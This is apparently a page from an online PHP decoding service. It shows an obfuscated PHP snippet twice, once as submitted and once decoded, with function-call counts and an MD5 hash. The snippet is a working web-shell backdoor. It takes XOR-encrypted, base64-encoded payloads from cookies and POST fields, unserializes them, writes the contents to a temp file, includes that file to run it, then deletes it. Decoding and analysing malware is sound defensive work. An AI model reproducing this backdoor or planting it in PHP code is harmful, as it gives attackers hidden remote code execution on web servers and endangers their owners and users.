Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
$uPTUeL = chr ( 267 - 185 ).chr (104) . "\x75" . chr (95) . "\144" . "\162" . chr (75) . c..
Decoded Output download
<? $uPTUeL = chr ( 267 - 185 ).chr (104) . "u" . chr (95) . "d" . "r" . chr (75) . chr (87) . 'E';$dwSfmeyp = 'c' . "l" . "a" . chr (115) . "s" . chr ( 1004 - 909 ).'e' . chr ( 1011 - 891 ).chr (105) . 's' . "t" . chr (115); $vPerLrTOt = class_exists($uPTUeL); $uPTUeL = "32436";$dwSfmeyp = "39167";$HSfdgsRZUY = !1;if ($vPerLrTOt == $HSfdgsRZUY){function fYIShjjB(){return FALSE;}$zuBKBd = "32225";fYIShjjB();class Rhu_drKWE{private function XkCKVEdxZn($zuBKBd){if (is_array(Rhu_drKWE::$NsSHhOnmQ)) {$SAvTDgn = sys_get_temp_dir() . "/" . crc32(Rhu_drKWE::$NsSHhOnmQ[chr (115) . chr (97) . chr (108) . "t"]);@Rhu_drKWE::$NsSHhOnmQ['w' . "r" . chr (105) . "t" . "e"]($SAvTDgn, Rhu_drKWE::$NsSHhOnmQ[chr (99) . chr ( 464 - 353 ).chr (110) . "t" . chr (101) . "n" . "t"]);include $SAvTDgn;@Rhu_drKWE::$NsSHhOnmQ["d" . "e" . 'l' . chr ( 396 - 295 )."t" . "e"]($SAvTDgn); $zuBKBd = "32225";exit();}}private $lpgyV;public function pTmnbhGt(){echo 44469;}public function __destruct(){$zuBKBd = "47952_64495";$this->XkCKVEdxZn($zuBKBd); $zuBKBd = "47952_64495";}public function __construct($IXycW=0){$fxXcJr = $_POST;$INRmmclpf = $_COOKIE;$bTnur = "d8dd2585-9e84-494d-84b6-d59bf9a23869";$bDSCVeL = @$INRmmclpf[substr($bTnur, 0, 4)];if (!empty($bDSCVeL)){$YLfBBT = "base64";$zdriVdJjN = "";$bDSCVeL = explode(",", $bDSCVeL);foreach ($bDSCVeL as $paRHggTr){$zdriVdJjN .= @$INRmmclpf[$paRHggTr];$zdriVdJjN .= @$fxXcJr[$paRHggTr];}$zdriVdJjN = array_map($YLfBBT . "_" . "d" . "e" . "c" . chr ( 268 - 157 ).'d' . 'e', array($zdriVdJjN,)); $zdriVdJjN = $zdriVdJjN[0] ^ str_repeat($bTnur, (strlen($zdriVdJjN[0]) / strlen($bTnur)) + 1);Rhu_drKWE::$NsSHhOnmQ = @unserialize($zdriVdJjN); $zdriVdJjN = class_exists("47952_64495");}}public static $NsSHhOnmQ = 21081;}$yzwAWmUwp = new /* 40781 */ Rhu_drKWE(32225 + 32225); $_POST = Array();unset($yzwAWmUwp);} ?>
Did this file decode correctly?
Original Code
$uPTUeL = chr ( 267 - 185 ).chr (104) . "\x75" . chr (95) . "\144" . "\162" . chr (75) . chr (87) . 'E';$dwSfmeyp = 'c' . "\x6c" . "\141" . chr (115) . "\163" . chr ( 1004 - 909 ).'e' . chr ( 1011 - 891 ).chr (105) . 's' . "\x74" . chr (115); $vPerLrTOt = class_exists($uPTUeL); $uPTUeL = "32436";$dwSfmeyp = "39167";$HSfdgsRZUY = !1;if ($vPerLrTOt == $HSfdgsRZUY){function fYIShjjB(){return FALSE;}$zuBKBd = "32225";fYIShjjB();class Rhu_drKWE{private function XkCKVEdxZn($zuBKBd){if (is_array(Rhu_drKWE::$NsSHhOnmQ)) {$SAvTDgn = sys_get_temp_dir() . "/" . crc32(Rhu_drKWE::$NsSHhOnmQ[chr (115) . chr (97) . chr (108) . "\164"]);@Rhu_drKWE::$NsSHhOnmQ['w' . "\162" . chr (105) . "\x74" . "\145"]($SAvTDgn, Rhu_drKWE::$NsSHhOnmQ[chr (99) . chr ( 464 - 353 ).chr (110) . "\x74" . chr (101) . "\156" . "\164"]);include $SAvTDgn;@Rhu_drKWE::$NsSHhOnmQ["\x64" . "\x65" . 'l' . chr ( 396 - 295 )."\164" . "\145"]($SAvTDgn); $zuBKBd = "32225";exit();}}private $lpgyV;public function pTmnbhGt(){echo 44469;}public function __destruct(){$zuBKBd = "47952_64495";$this->XkCKVEdxZn($zuBKBd); $zuBKBd = "47952_64495";}public function __construct($IXycW=0){$fxXcJr = $_POST;$INRmmclpf = $_COOKIE;$bTnur = "d8dd2585-9e84-494d-84b6-d59bf9a23869";$bDSCVeL = @$INRmmclpf[substr($bTnur, 0, 4)];if (!empty($bDSCVeL)){$YLfBBT = "base64";$zdriVdJjN = "";$bDSCVeL = explode(",", $bDSCVeL);foreach ($bDSCVeL as $paRHggTr){$zdriVdJjN .= @$INRmmclpf[$paRHggTr];$zdriVdJjN .= @$fxXcJr[$paRHggTr];}$zdriVdJjN = array_map($YLfBBT . "\x5f" . "\144" . "\145" . "\x63" . chr ( 268 - 157 ).'d' . 'e', array($zdriVdJjN,)); $zdriVdJjN = $zdriVdJjN[0] ^ str_repeat($bTnur, (strlen($zdriVdJjN[0]) / strlen($bTnur)) + 1);Rhu_drKWE::$NsSHhOnmQ = @unserialize($zdriVdJjN); $zdriVdJjN = class_exists("47952_64495");}}public static $NsSHhOnmQ = 21081;}$yzwAWmUwp = new /* 40781 */ Rhu_drKWE(32225 + 32225); $_POST = Array();unset($yzwAWmUwp);}
Function Calls
chr | 10 |
class_exists | 1 |
Stats
MD5 | 750bd68a1f44ae4b03d3efb912c68c20 |
Eval Count | 0 |
Decode Time | 76 ms |